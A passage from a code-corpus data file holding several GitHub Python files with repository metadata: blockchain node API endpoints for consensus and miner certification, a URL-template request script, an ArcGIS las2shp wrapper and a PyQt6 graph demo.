assess when `append_block` is called.\"\n )\n # - The variable `block_equal_from_main` is already set by default as `False` so don't do anything from it.\n\n # - For equal block id, just remove it from the confirming block container and set that the block has been confirmed.\n else:\n blockchain_instance.confirming_block_container.remove(\n each_confirming_block\n ) # - Remove from the container as it was already confirmed.\n\n # - Change the state of this variable, that the block_equal_from_main is `True`.\n block_equal_from_main = True\n\n break\n\n if not block_confirmed:\n raise HTTPException(\n detail=\"Cannot confirm any confirming blocks from the received mined block.\",\n status_code=HTTPStatus.NO_CONTENT,\n )\n\n proposed_consensus_addon_timer: float = generate_consensus_sleep_time(\n block_timer=blockchain_instance.block_timer_seconds\n )\n\n # - Update the Consensus Negotiation ID.\n update_consensus_negotiation_query: Update = (\n consensus_negotiation.update()\n .where(\n (\n consensus_negotiation.c.consensus_negotiation_id\n == context_from_archival_miner.consensus_negotiation_id\n )\n & (\n consensus_negotiation.c.status\n == ConsensusNegotiationStatus.ON_PROGRESS\n )\n )\n .values(status=ConsensusNegotiationStatus.COMPLETED)\n )\n\n # - As well as the association of the miner node.\n update_associate_state_query: Update = (\n associated_nodes.update()\n .where(\n associated_nodes.c.user_address\n == context_from_archival_miner.miner_address\n )\n .values(\n status=AssociatedNodeStatus.CURRENTLY_AVAILABLE,\n consensus_sleep_expiration=context_from_archival_miner.hashing_duration_finished\n + timedelta(seconds=proposed_consensus_addon_timer),\n )\n )\n\n await gather(\n database_instance.execute(update_consensus_negotiation_query),\n database_instance.execute(update_associate_state_query),\n save_database_state_to_volume_storage(),\n )\n\n # - Since we lost the identity value of the enums from the fields, we need to re-bind them so that the loaded block from memory has a referrable enum when called.\n for transaction_idx, transaction_context in enumerate(\n context_from_archival_miner.hashed_block.contents.transactions\n ):\n\n # - Resolve `action` field with `TransactionActions`.\n context_from_archival_miner.hashed_block.contents.transactions[\n transaction_idx\n ].action = TransactionActions(transaction_context.action)\n\n # - Resolve the `action` field from the payload's action `NodeTransaction`.\n if isinstance(\n context_from_archival_miner.hashed_block.contents.transactions[\n transaction_idx\n ].payload,\n NodeTransaction,\n ):\n context_from_archival_miner.hashed_block.contents.transactions[ # type: ignore # ! Condition already resolved the issue of an attribute is missing.\n transaction_idx\n ].payload.action = NodeTransactionInternalActions(\n transaction_context.payload.action # type: ignore # ! Condition already resolved the issue of an attribute is missing.\n )\n\n # - Resolve the `content_type` field from the payload's action `GroupTransaction`.\n elif isinstance(\n context_from_archival_miner.hashed_block.contents.transactions[\n transaction_idx\n ].payload,\n GroupTransaction,\n ):\n context_from_archival_miner.hashed_block.contents.transactions[ # type: ignore # ! Condition already resolved the issue of an attribute is missing.\n transaction_idx\n ].payload.content_type = TransactionContextMappingType(\n transaction_context.payload.content_type # type: ignore # ! Condition already resolved the issue of an attribute is missing.\n )\n\n else:\n logger.warning(\n f\"Transaction {context_from_archival_miner.hashed_block.contents.transactions[transaction_idx].tx_hash} payload cannot be casted with the following enumeration classes: {NodeTransaction} and {GroupTransaction}. This is going to be problematic on fetching data, but carry on. But please report this to the developer.\"\n )\n\n # - Insert the block, if the condition where the `main_block_id` is the same from the payload's block id.\n if block_equal_from_main:\n await blockchain_instance.append_block(\n context=context_from_archival_miner.hashed_block,\n process_container=False,\n )\n logger.info(\n f\"Block #{context_from_archival_miner.hashed_block.id} is qualified to be processed immediately by appending it in the blockchain.\"\n )\n else:\n # - Append from the container.\n blockchain_instance.hashed_block_container.append(\n context_from_archival_miner.hashed_block\n )\n # - After appending the block from the `hashed_block_container`, sort it.\n blockchain_instance.hashed_block_container.sort(\n key=lambda block_context: block_context.id\n )\n\n # - Insert an internal transaction.\n # @o This was seperated from the consolidated internal transaction handler due to the need of handling extra variables as `ARCHIVAL_MINER_NODE` sent a payload.\n await blockchain_instance.insert_internal_transaction(\n action=TransactionActions.NODE_GENERAL_CONSENSUS_CONCLUDE_NEGOTIATION_PROCESSING,\n data=NodeTransaction(\n action=NodeTransactionInternalActions.CONSENSUS,\n context=NodeMineConsensusSuccessProofTransaction(\n miner_address=context_from_archival_miner.miner_address,\n receiver_address=blockchain_instance.node_identity[0],\n consensus_negotiation_id=context_from_archival_miner.consensus_negotiation_id,\n block_received_id=context_from_archival_miner.hashed_block.id,\n local_block_id=context_from_archival_miner.local_block_id,\n block_hash=context_from_archival_miner.hashed_block.hash_block,\n time_delivery=datetime.now(),\n ),\n ),\n )\n\n # - Insert transaction from the blockchain for the successful thing.\n return ConsensusSuccessPayload(\n addon_consensus_sleep_seconds=proposed_consensus_addon_timer,\n reiterate_master_address=blockchain_instance.node_identity[0],\n )\n\n raise HTTPException(\n detail=\"Blockchain instance is not yet initialized. Please try again later.\",\n status_code=HTTPStatus.SERVICE_UNAVAILABLE,\n )\n\n\n@node_router.post(\n \"/receive_raw_block\",\n tags=[NodeAPI.NODE_TO_NODE_API.value, NodeAPI.ARCHIVAL_MINER_NODE_API.value],\n summary=f\"Receives a raw block for the {NodeType.ARCHIVAL_MINER_NODE} to hash.\",\n description=f\"A special API endpoint that receives a raw bock to be mined.\",\n dependencies=[\n Depends(\n # - In archival instance, we cannot determine the role of the master node since it wasn't registered.\n # - With that, we can use the certification token instead.\n EnsureAuthorized(blockchain_related=True)\n )\n ],\n)\nasync def receive_raw_block(\n context_from_master: ConsensusFromMasterPayload,\n blockchain_instance: BlockchainMechanism | None = Depends(get_blockchain_instance),\n database_instance: Database = Depends(get_database_instance),\n) -> Response:\n\n if isinstance(blockchain_instance, BlockchainMechanism):\n # - Validate any previous consensus negotiation and delete it as possible.\n await validate_previous_consensus_negotiation(\n database_instance_ref=database_instance,\n block_reference=context_from_master.block,\n )\n\n # - Record the Consensus Negotiation ID.\n save_generated_consensus_negotiation_id_query: Insert = (\n consensus_negotiation.insert().values(\n block_no_ref=context_from_master.block.id,\n consensus_negotiation_id=context_from_master.consensus_negotiation_id,\n peer_address=context_from_master.master_address,\n status=ConsensusNegotiationStatus.ON_PROGRESS,\n )\n )\n await gather(\n database_instance.execute(save_generated_consensus_negotiation_id_query),\n save_database_state_to_volume_storage(),\n )\n logger.info(\n f\"Consensus Negotiation initiated by Master Node {context_from_master.master_address}!\"\n )\n\n # - Enqueue the block from the local instance of blockchain.\n create_task(\n blockchain_instance.hash_and_store_given_block(\n block=context_from_master.block,\n from_origin=SourceNodeOrigin.FROM_MASTER,\n master_address_ref=context_from_master.master_address,\n ),\n name=f\"hash_given_block_from_master_{context_from_master.master_address[-6:]}\",\n )\n\n return Response(status_code=HTTPStatus.ACCEPTED)\n\n return Response(status_code=HTTPStatus.SERVICE_UNAVAILABLE)\n\n\n@node_router.post(\n \"/receive_context\",\n tags=[NodeAPI.NODE_TO_NODE_API.value, NodeAPI.MASTER_NODE_API.value],\n summary=\"Receives data that serves as an action of the user from the dashboard.\",\n description=f\"A special API endpoint that accepts payload from the dashboard. This requires special credentials and handling outside the scope of node.\",\n status_code=HTTPStatus.ACCEPTED,\n)\nasync def receive_action_from_dashboard(\n payload: StudentUserTransaction | AdditionalContextTransaction,\n auth_instance=Depends(\n EnsureAuthorized(\n _as=[\n UserEntity.STUDENT_DASHBOARD_USER,\n UserEntity.ORGANIZATION_DASHBOARD_USER,\n ],\n return_token=True,\n )\n ),\n blockchain_instance: BlockchainMechanism = Depends(get_blockchain_instance),\n database_instance: Database = Depends(get_database_instance),\n) -> JSONResponse | None:\n\n # - Since the payload is automatically determined, we are going to resolve its parameter for the `from_address` and `to_address` when calling `blockchain_instance.insert_external_transaction`.\n\n # @o Type-hints for now.\n resolved_content_type: TransactionContextMappingType | None = None\n resolved_from_address: AddressUUID | None = None\n resolved_to_address: AddressUUID | None = None\n resolved_action: TransactionActions | None = None\n\n # - Compare via instance and assign necessary components.\n # - As well compare the token payload from the\n\n #! Note that, `StudentLogTransaction` has been handled from `receive_file_from_dashboard` method.\n\n if isinstance(payload, StudentUserTransaction):\n resolved_action = TransactionActions.INSTITUTION_ORG_GENERATE_STUDENT\n resolved_content_type = TransactionContextMappingType.STUDENT_BASE\n\n resolved_to_address = (\n None # - This will get resolved later since it was generative model.\n )\n\n elif isinstance(payload, AdditionalContextTransaction):\n # - With the logic being too complicated, we should resolve this `content_type` here instead.\n # - Inside method (the handler from this context) does nothing honestly.\n\n # * We have no choice but to have the credential re-checked again from the entrypoint of the `insert_external_transactions`.\n identify_user_type_query: Select = select([users.c.type]).where(\n users.c.unique_address == payload.address_origin\n )\n\n identify_user_type = await database_instance.fetch_val(identify_user_type_query)\n\n if identify_user_type is None: # type: ignore\n raise HTTPException(\n detail=\"Cannot classify user's additional context `type`. Address origin may be invalid.\",\n status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n )\n\n if identify_user_type is UserEntity.STUDENT_DASHBOARD_USER: # type: ignore\n resolved_action = (\n TransactionActions.INSTITUTION_ORG_STUDENT_REFER_EXTRA_INFO\n )\n resolved_content_type = TransactionContextMappingType.STUDENT_ADDITIONAL\n\n elif identify_user_type is UserEntity.ORGANIZATION_DASHBOARD_USER: # type: ignore\n resolved_action = TransactionActions.ORGANIZATION_REFER_EXTRA_INFO\n resolved_content_type = (\n TransactionContextMappingType.ORGANIZATION_ADDITIONAL\n )\n\n else:\n raise HTTPException(\n detail=\"Cannot resolve user organization's `associate` type.\",\n status_code=HTTPStatus.BAD_REQUEST,\n )\n\n payload.timestamp = datetime.now()\n resolved_to_address = payload.address_origin\n\n else:\n raise HTTPException(\n detail=\"Payload is unidentified or is unhandled from this API entrypoint.\",\n status_code=HTTPStatus.SERVICE_UNAVAILABLE,\n )\n\n # - Resolve the `from_address` but skip validation for the `to_address` due to the generative models being unable to provide uuids on non-existent properity.\n resolved_from_address = await validate_source_and_origin_associates(\n database_instance_ref=database_instance,\n source_session_token=auth_instance,\n target_address=resolved_to_address,\n skip_validation_on_target=isinstance(payload, StudentUserTransaction),\n return_resolved_source_address=True, # type: ignore # * `resolved_from_address` is already resolved on the top, where it validates the payload's instance.\n )\n\n # - Create a `GroupTransaction`.\n resolved_payload: GroupTransaction = GroupTransaction(\n content_type=resolved_content_type, context=payload\n )\n\n if resolved_from_address is None:\n raise HTTPException(\n detail=\"Cannot find user reference when the provided `content-type` or the parameter `from_address` is invalid.\",\n status_code=HTTPStatus.NOT_ACCEPTABLE,\n )\n\n # - When validation for both the source and address is success, finally invoke the `from_address`.\n payload.inserter = resolved_from_address\n\n extern_insertion_result = await blockchain_instance.insert_external_transaction(\n action=resolved_action,\n from_address=resolved_from_address,\n to_address=resolved_to_address,\n data=resolved_payload,\n )\n\n if isinstance(extern_insertion_result, HTTPException):\n raise extern_insertion_result\n\n else:\n return JSONResponse(\n content={\n \"detail\": f\"A remark reference has been processed successfully and will be enqueued in the blockchain.\" # type: ignore # ! Enum gets disregarded when variable is assigned to `NoneType`.\n },\n status_code=HTTPStatus.OK,\n )\n\n\n@node_router.post(\n \"/receive_context_log\",\n tags=[NodeAPI.NODE_TO_NODE_API.value, NodeAPI.MASTER_NODE_API.value],\n summary=\"Receives a multiform content type specific to `ApplicationLogContentType` to insert a credential from a student/student.\",\n description=f\"A special API endpoint that is exclusive to a pyadantic model `StudentLogTransaction`, which accepts payload from the dashboard along with the file. Even without file, `StudentLogTransaction` is destined from this endpoint.\",\n)\nasync def receive_file_from_dashboard(\n address_origin: AddressUUID = Form(...),\n name: str = Form(...),\n description: str = Form(...),\n role: str = Form(...),\n file: UploadFile = File(...),\n duration_start: datetime = Form(...),\n duration_end: datetime | None = Form(None),\n auth_instance: JWTToken = Depends(\n EnsureAuthorized(\n _as=[\n UserEntity.STUDENT_DASHBOARD_USER,\n UserEntity.ORGANIZATION_DASHBOARD_USER,\n ],\n return_token=True,\n )\n ),\n blockchain_instance: BlockchainMechanism = Depends(get_blockchain_instance),\n database_instance: Database = Depends(get_database_instance),\n) -> JSONResponse:\n\n try:\n # ! Logic Conditon Checking\n if isinstance(duration_end, datetime) and duration_start > duration_end:\n raise HTTPException(\n detail=\"The specified time for the duration start is higher than the end of duration. This is not possible.\",\n status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n )\n\n resolved_source_address: AddressUUID | None = (\n await validate_source_and_origin_associates(\n database_instance_ref=database_instance,\n source_session_token=auth_instance,\n target_address=address_origin,\n skip_validation_on_target=False,\n return_resolved_source_address=True,\n )\n )\n\n # - After receiving, wrap the payload.\n wrapped_to_model: StudentLogTransaction = StudentLogTransaction(\n **{\n \"address_origin\": address_origin,\n \"name\": name,\n \"description\": description,\n \"role\": role,\n \"file\": file,\n \"duration_start\": duration_start,\n \"duration_end\": duration_end,\n \"validated_by\": resolved_source_address, # type: ignore\n \"timestamp\": datetime.now(),\n }\n )\n\n # - Then create a GroupTransaction.\n transaction: GroupTransaction = GroupTransaction(\n content_type=TransactionContextMappingType.STUDENT_LOG,\n context=wrapped_to_model,\n )\n\n insertion_result: HTTPException | None = await blockchain_instance.insert_external_transaction(\n action=TransactionActions.INSTITUTION_ORG_REFER_NEW_DOCUMENT_OR_IMPORTANT_INFO,\n from_address=AddressUUID(resolved_source_address), # type: ignore\n to_address=AddressUUID(address_origin),\n data=transaction,\n )\n\n if isinstance(insertion_result, HTTPException):\n raise insertion_result\n\n return JSONResponse(\n content={\n \"detail\": f\"A student document / log reference has been processed successfully and will be enqueued in blockchain.\" # type: ignore # ! Enum gets disregarded when variable is assigned to `NoneType`.\n },\n status_code=HTTPStatus.OK,\n )\n\n except PydanticValueError as e:\n raise HTTPException(\n detail=f\"Cannot wrapped the payload to a respective model ({StudentLogTransaction}). This should not be possible. Please report the following information. | Info: {e}\",\n status_code=HTTPStatus.BAD_REQUEST,\n )\n\n\n\"\"\"\n# Node-to-Node Establish Connection Endpoints\n\n@o Before doing anything, an `ARCHIVAL_MINER_NODE` has to establish connection to the `MASTER_NODE`.\n@o With that, the `ARCHIVAL_MINER_NODE` has to give something a proof, that shows their proof of registration and login.\n@o The following are required: `JWT Token`, `Source Address`, and `Auth Code` (as Auth Acceptance Code)\n\n- When the `MASTER_NODE` identified those tokens to be valid, it will create a special token for the association.\n- To-reiterate, the following are the structure of the token that is composed of the attributes between the communicator `ARCHIVAL_MINER_NODE` and the `MASTER_NODE`.\n- Which will be the result of the entity named as `AssociationCertificate`.\n\n@o From the `ARCHIVAL_MINER_NODE`: (See above).\n@o From the `MASTER_NODE`: `ARCHIVAL_MINER_NODE`'s keys + AUTH_KEY (1st-Half, 32 characters) + SECRET_KEY(2nd-half, 32 character offset, 64 characters)\n\n# Result: AssociationCertificate for the `ARCHIVAL_MINER_NODE` in AES form, whereas, the key is based from the ARCHIVAL-MINER_NODE's keys + SECRET_KEY + AUTH_KEY + DATETIME (in ISO format).\n\n! Note that the result from the `MASTER_NODE` is saved, thurs, using `datetime` for the final key is possible.\n\n- When this was created, `ARCHIVAL_MINER_NODE` will save this under the database and will be used further with no expiration.\n\"\"\"\n\n\n@node_router.post(\n \"/certify_miner\",\n tags=[NodeAPI.NODE_TO_NODE_API.value, NodeAPI.MASTER_NODE_API],\n summary=f\"Receives echo from the {NodeType.ARCHIVAL_MINER_NODE} for establishment of their connection to the blockchain.\",\n description=f\"An API endpoint that is only accessile to {UserEntity.MASTER_NODE_USER.name}, where it accepts ECHO request to fetch a certificate before they ({UserEntity.ARCHIVAL_MINER_NODE_USER}) start doing blockchain operations. This will return a certificate as an acknowledgement response from the requestor.\",\n dependencies=[\n Depends(EnsureAuthorized(_as=UserEntity.ARCHIVAL_MINER_NODE_USER)),\n ], # - This is blockchain-related but not internally related, it was under consensus category. Therefore seperate the contents of the method below from the handler of the .\n)\nasync def certify_miner(\n origin: SourcePayload,\n x_source: AddressUUID = Header(..., description=\"The address of the requestor.\"),\n x_session: JWTToken = Header(\n ..., description=\"The current session token that the requestor uses.\"\n ),\n x_acceptance: AuthAcceptanceCode = Header(\n ...,\n description=\"The auth code that is known as acceptance code, used for extra validation.\",\n ),\n blockchain_instance: BlockchainMechanism | None = Depends(get_blockchain_instance),\n database_instance: Database = Depends(get_database_instance),\n) -> Response:\n\n # - [1] Validate such entries from the header.\n # - [1.1] Get the source first.\n get_node_source_query = select([users.c.unique_address, users.c.email]).where(\n users.c.unique_address == x_source\n )\n validated_source_address = await database_instance.fetch_one(get_node_source_query)\n\n # - [1.2] Then validate the token by incorporating previous query and the header `x_acceptance`.\n # * Validate other credentials and beyond at this point.\n if validated_source_address is not None:\n get_node_auth_query = select([func.count()]).where(\n (auth_codes.c.code == x_acceptance)\n & (\n auth_codes.c.to_email == validated_source_address.email # type: ignore\n ) # @o Equivalent to validated_source_address.email.\n )\n\n validated_auth_code = await database_instance.fetch_one(get_node_auth_query)\n\n if validated_auth_code.count: # type: ignore\n get_node_token_query = select([func.count()]).where(\n (tokens.c.token == x_session)\n & (tokens.c.from_user == validated_source_address.unique_address) # type: ignore\n )\n\n validated_node_token = await database_instance.fetch_one(\n get_node_token_query\n )\n\n if validated_node_token.count: # type: ignore\n authority_code: str | None = env.get(\"AUTH_KEY\", None)\n authority_signed: str | None = env.get(\"SECRET_KEY\", None)\n\n # - Create the token here.\n if authority_signed is not None and authority_code is not None:\n # - To complete, get one base token and randomize its location and splice it by 25% to encorporate with other tokens.\n # * This was intended and not a joke.\n encrypter = Fernet(authority_code.encode(\"utf-8\"))\n\n authored_token: bytes = (\n authority_signed[:CERTIFICATE_TOKEN_SECRET_KEY_START_INDEX]\n + x_session\n + authority_signed[\n CERTIFICATE_TOKEN_SECRET_KEY_MIDDLE_INDEX:CERTIFICATE_TOKEN_SECRET_KEY_END_INDEX\n ]\n + x_source\n + authority_signed[CERTIFICATE_TOKEN_SECRET_KEY_END_INDEX:]\n + x_acceptance\n + authority_signed[\n CERTIFICATE_TOKEN_SECRET_KEY_START_INDEX:CERTIFICATE_TOKEN_SECRET_KEY_MIDDLE_INDEX\n ]\n + datetime.now().isoformat() # Add variance.\n ).encode(\"utf-8\")\n\n encrypted_authored_token: bytes = encrypter.encrypt(authored_token)\n\n # @o As a `MASTER` node, store it for validation later.\n store_authored_token_query: Insert = associated_nodes.insert().values(\n user_address=validated_source_address.unique_address, # type: ignore\n certificate=encrypted_authored_token.decode(\"utf-8\"),\n source_address=origin.source_address,\n source_port=origin.source_port,\n )\n await gather(\n database_instance.execute(store_authored_token_query),\n save_database_state_to_volume_storage(),\n )\n\n if isinstance(blockchain_instance, BlockchainMechanism):\n await blockchain_instance.insert_internal_transaction(\n action=TransactionActions.NODE_GENERAL_CONSENSUS_INIT,\n data=NodeTransaction(\n action=NodeTransactionInternalActions.INIT,\n context=NodeCertificateTransaction(\n requestor_address=AddressUUID(x_source),\n timestamp=datetime.now(),\n ),\n ),\n )\n\n proposed_consensus_sleep_time: float = (\n generate_consensus_sleep_time(\n block_timer=blockchain_instance.block_timer_seconds\n )\n )\n\n # - Fool-proof by recording this consensus sleep time in the database.\n update_association_initial_query: Update = (\n associated_nodes.update()\n .where(\n associated_nodes.c.user_address\n == validated_source_address.unique_address # type: ignore\n )\n .values(\n status=AssociatedNodeStatus.CURRENTLY_AVAILABLE,\n consensus_sleep_expiration=datetime.now()\n + timedelta(seconds=proposed_consensus_sleep_time),\n )\n )\n\n await gather(\n database_instance.execute(update_association_initial_query),\n save_database_state_to_volume_storage(),\n )\n\n # # Then return it.\n return JSONResponse(\n content={\n \"initial_consensus_sleep_seconds\": proposed_consensus_sleep_time,\n \"certificate_token\": encrypted_authored_token.decode(\n \"utf-8\"\n ),\n },\n status_code=HTTPStatus.OK,\n )\n\n raise HTTPException(\n detail=\"Authority to sign the certificate is not possible due to missing parameters or the blockchain instance is currently uninitialized.\",\n status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n )\n\n raise HTTPException(\n detail=\"One or more headers are invalid to initiate certification.\",\n status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n )\n\n\n@node_router.post(\n \"/pull_chain_upstream\",\n tags=[NodeAPI.NODE_TO_NODE_API.value, NodeAPI.MASTER_NODE_API.value],\n summary=f\"Requests the blockchain file as-is from the '{NodeType.MASTER_NODE.name}'.\",\n description=f\"A special API endpoint that allows '{NodeType.ARCHIVAL_MINER_NODE.name}' to fetch the latest version of the blockchain file from the '{NodeType.MASTER_NODE.name}'. This is mandatory before allowing the node to hash or participate from the blockchain.\",\n dependencies=[\n Depends(\n EnsureAuthorized(\n _as=UserEntity.ARCHIVAL_MINER_NODE_USER, blockchain_related=True\n )\n )\n ],\n)\nasync def pull_chain_upstream(\n blockchain_instance: BlockchainMechanism | None = Depends(get_blockchain_instance),\n) -> JSONResponse:\n\n if isinstance(blockchain_instance, BlockchainMechanism):\n await blockchain_instance.insert_internal_transaction(\n action=TransactionActions.NODE_GENERAL_CONSENSUS_BLOCK_SYNC,\n data=NodeTransaction(\n action=NodeTransactionInternalActions.SYNC,\n context=NodeSyncTransaction(\n requestor_address=AddressUUID(blockchain_instance.node_identity[0]),\n timestamp=datetime.now(),\n ),\n ),\n )\n\n return JSONResponse(\n content={\n \"current_hash\": await blockchain_instance.get_chain_hash(),\n \"content\": await blockchain_instance.get_chain(),\n },\n status_code=HTTPStatus.OK,\n )\n\n raise HTTPException(\n detail=\"Cannot request for upstream when the blockchain instance has not bee initialized or is not yet ready.\",\n status_code=HTTPStatus.NOT_ACCEPTABLE,\n )\n\n\n@node_router.post(\n \"/verify_chain_hash\",\n tags=[NodeAPI.NODE_TO_NODE_API.value, NodeAPI.MASTER_NODE_API.value],\n summary=\"Verifies the input as a hash towards to the latest blockchain.\",\n description=f\"A special API endpoint that accepts hash in return to validate them against the `{NodeType.MASTER_NODE}`'s blockchain file.\",\n dependencies=[\n Depends(\n EnsureAuthorized(\n _as=UserEntity.ARCHIVAL_MINER_NODE_USER, blockchain_related=True\n )\n )\n ],\n)\nasync def verify_chain_hash(\n x_hash: str = Header(\n ...,\n description=f\"The input hash that is going to be compared against the {NodeType.MASTER_NODE.name}.\",\n ),\n blockchain_instance: BlockchainMechanism | None = Depends(get_blockchain_instance),\n) -> Response:\n\n is_hash_equal: bool = False\n\n if isinstance(blockchain_instance, BlockchainMechanism):\n is_hash_equal = await blockchain_instance.get_chain_hash() == x_hash\n\n return Response(\n status_code=HTTPStatus.OK if is_hash_equal else HTTPStatus.NOT_ACCEPTABLE\n )\n","repo_name":"CodexLink/folioblocks","sub_path":"node/api/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":39999,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"21149867583","text":"import requests\n\nmyUrl = \"https://www.ozon.ru/search/?from_global=@&sorting=@&text=@\"\n\nmyParams = [\"true\", \"price\", \"d3*\"]\n\n\ndef getDataFromUrl(url, myParams):\n actualUrl = \"\"\n myParams.reverse()\n\n for el in url:\n if el == '@':\n actualUrl += myParams.pop()\n else:\n actualUrl += el\n\n r = requests.get(actualUrl)\n\n return f'URL : {actualUrl}\\nStatus code : {r.status_code}\\n'\n\n\nprint(getDataFromUrl(myUrl, myParams))\n","repo_name":"viritm/garpix-course-py","sub_path":"HTTP/Task_9.2.py","file_name":"Task_9.2.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72546744108","text":"#\n# las2shp.py\n#\n# (c) 2013, martin isenburg - http://rapidlasso.com\n# rapidlasso GmbH - fast tools to catch reality\n#\n# uses las2shp.exe to covert LiDAR points to ESRI's\n# Shapefile format utilizing shapetype PointZ or\n# MultiPointZ.\n#\n# LiDAR input: LAS/LAZ/BIN/TXT\n# SHP output: PointZ, MultiPointZ\n#\n# for licensing see http://lastools.org/LICENSE.txt\n#\n\nimport sys, os, arcgisscripting, subprocess\n\ndef check_output(command,console):\n if console == True:\n process = subprocess.Popen(command)\n else:\n process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)\n output,error = process.communicate()\n returncode = process.poll()\n return returncode,output \n\n### create the geoprocessor object\ngp = arcgisscripting.create(9.3)\n\n### report that something is happening\ngp.AddMessage(\"Starting las2shp ...\")\n\n### get number of arguments\nargc = len(sys.argv)\n\n### report arguments (for debug)\n#gp.AddMessage(\"Arguments:\")\n#for i in range(0, argc):\n# gp.AddMessage(\"[\" + str(i) + \"]\" + sys.argv[i])\n\n### get the path to LAStools\nlastools_path = os.path.dirname(os.path.dirname(os.path.dirname(sys.argv[0])))\n\n### make sure the path does not contain spaces\nif lastools_path.count(\" \") > 0:\n gp.AddMessage(\"Error. Path to .\\\\lastools installation contains spaces.\")\n gp.AddMessage(\"This does not work: \" + lastools_path)\n gp.AddMessage(\"This would work: C:\\\\software\\\\lastools\")\n sys.exit(1) \n\n### complete the path to where the LAStools executables are\nlastools_path = lastools_path + \"\\\\bin\"\n\n### check if path exists\nif os.path.exists(lastools_path) == False:\n gp.AddMessage(\"Cannot find .\\\\lastools\\\\bin at \" + lastools_path)\n sys.exit(1)\nelse:\n gp.AddMessage(\"Found \" + lastools_path + \" ...\")\n\n### create the full path to the las2shp executable\nlas2shp_path = lastools_path+\"\\\\las2shp.exe\"\n\n### check if executable exists\nif os.path.exists(lastools_path) == False:\n gp.AddMessage(\"Cannot find las2shp.exe at \" + las2shp_path)\n sys.exit(1)\nelse:\n gp.AddMessage(\"Found \" + las2shp_path + \" ...\")\n\n### create the command string for las2shp.exe\ncommand = ['\"'+las2shp_path+'\"']\n\n### maybe use '-verbose' option\nif sys.argv[argc-1] == \"true\":\n command.append(\"-v\")\n\n### add input LiDAR\ncommand.append(\"-i\")\ncommand.append('\"'+sys.argv[1]+'\"')\n\n### maybe use shape type PointZ\nif sys.argv[2] == \"PointZ\":\n command.append(\"-single_points\")\n\n### use a user defined record size\nelif sys.argv[3] != \"1024\":\n command.append(\"-record_size\")\n command.append(sys.argv[3])\n \n### maybe an output file name was selected\nif sys.argv[4] != \"#\":\n command.append(\"-o\")\n command.append('\"'+sys.argv[4]+'\"')\n\n### maybe an output directory was selected\nif sys.argv[5] != \"#\":\n command.append(\"-odir\")\n command.append('\"'+sys.argv[5]+'\"')\n\n### maybe an output appendix was selected\nif sys.argv[6] != \"#\":\n command.append(\"-odix\")\n command.append('\"'+sys.argv[6]+'\"')\n\n### maybe there are additional command-line options\nif sys.argv[7] != \"#\":\n additional_options = sys.argv[7].split()\n for option in additional_options:\n command.append(option)\n\n### report command string\ngp.AddMessage(\"LAStools command line:\")\ncommand_length = len(command)\ncommand_string = str(command[0])\ncommand[0] = command[0].strip('\"')\nfor i in range(1, command_length):\n command_string = command_string + \" \" + str(command[i])\n command[i] = command[i].strip('\"')\ngp.AddMessage(command_string)\n\n### run command\nreturncode,output = check_output(command, False)\n\n### report output of las2shp\ngp.AddMessage(str(output))\n\n### check return code\nif returncode != 0:\n gp.AddMessage(\"Error. las2shp failed.\")\n sys.exit(1)\n\n### report happy end\ngp.AddMessage(\"Success. las2shp done.\")\n","repo_name":"DURAARK/duraark-pointcloud-viewer","sub_path":"lastools/ArcGIS_toolbox/scripts/las2shp.py","file_name":"las2shp.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"12522763358","text":"from PyQt6.QtWidgets import QApplication, QWidget, QHBoxLayout, QPushButton, QVBoxLayout, QLineEdit\r\nimport sys\r\nimport pyqtgraph as pg\r\nimport numpy as np\r\n\r\n\r\n\r\nclass Window(QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.setWindowTitle(\"PyQtGraph LineGraph\")\r\n\r\n hbox = QHBoxLayout()\r\n hbox2 = QHBoxLayout()\r\n vbox = QVBoxLayout()\r\n\r\n self.x1 = QLineEdit()\r\n self.x2 = QLineEdit()\r\n self.x3 = QLineEdit()\r\n self.x4 = QLineEdit()\r\n\r\n self.y1 = QLineEdit()\r\n self.y2 = QLineEdit()\r\n self.y3 = QLineEdit()\r\n self.y4 = QLineEdit()\r\n\r\n btn = QPushButton(\"Plot\")\r\n btn.clicked.connect(self.plot_graph)\r\n\r\n btn2 = QPushButton(\"Clear\")\r\n btn2.clicked.connect(self.clear_graph)\r\n\r\n self.myplot = pg.PlotWidget()\r\n\r\n hbox.addWidget(self.x1)\r\n hbox.addWidget(self.x2)\r\n hbox.addWidget(self.x3)\r\n hbox.addWidget(self.x4)\r\n\r\n hbox2.addWidget(self.y1)\r\n hbox2.addWidget(self.y2)\r\n hbox2.addWidget(self.y3)\r\n hbox2.addWidget(self.y4)\r\n\r\n vbox.addLayout(hbox)\r\n vbox.addLayout(hbox2)\r\n\r\n vbox.addWidget(self.myplot)\r\n vbox.addWidget(btn)\r\n vbox.addWidget(btn2)\r\n\r\n self.setLayout(vbox)\r\n\r\n def plot_graph(self):\r\n x1 = int(self.x1.text())\r\n x2 = int(self.x2.text())\r\n x3 = int(self.x3.text())\r\n x4 = int(self.x4.text())\r\n\r\n y1 = int(self.y1.text())\r\n y2 = int(self.y2.text())\r\n y3 = int(self.y3.text())\r\n y4 = int(self.y4.text())\r\n\r\n x = np.array([x1,x2,x3,x4])\r\n y = np.array([y1,y2,y3,y4])\r\n\r\n self.myplot.plot(x,y)\r\n\r\n\r\n def clear_graph(self):\r\n self.myplot.clear()\r\n\r\n\r\napp = QApplication(sys.argv)\r\nwindow = Window()\r\nwindow.show()\r\nsys.exit(app.exec())","repo_name":"benkoehlL/PyQtCourse","sub_path":"week ten/lined.py","file_name":"lined.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5020280635","text":"from flask import jsonify, make_response\nfrom flask_restx import cors\nfrom flask_jwt_extended import jwt_required\nfrom flask_jwt_extended import verify_jwt_in_request\nfrom flask_jwt_extended import get_jwt\nfrom flask_cors import 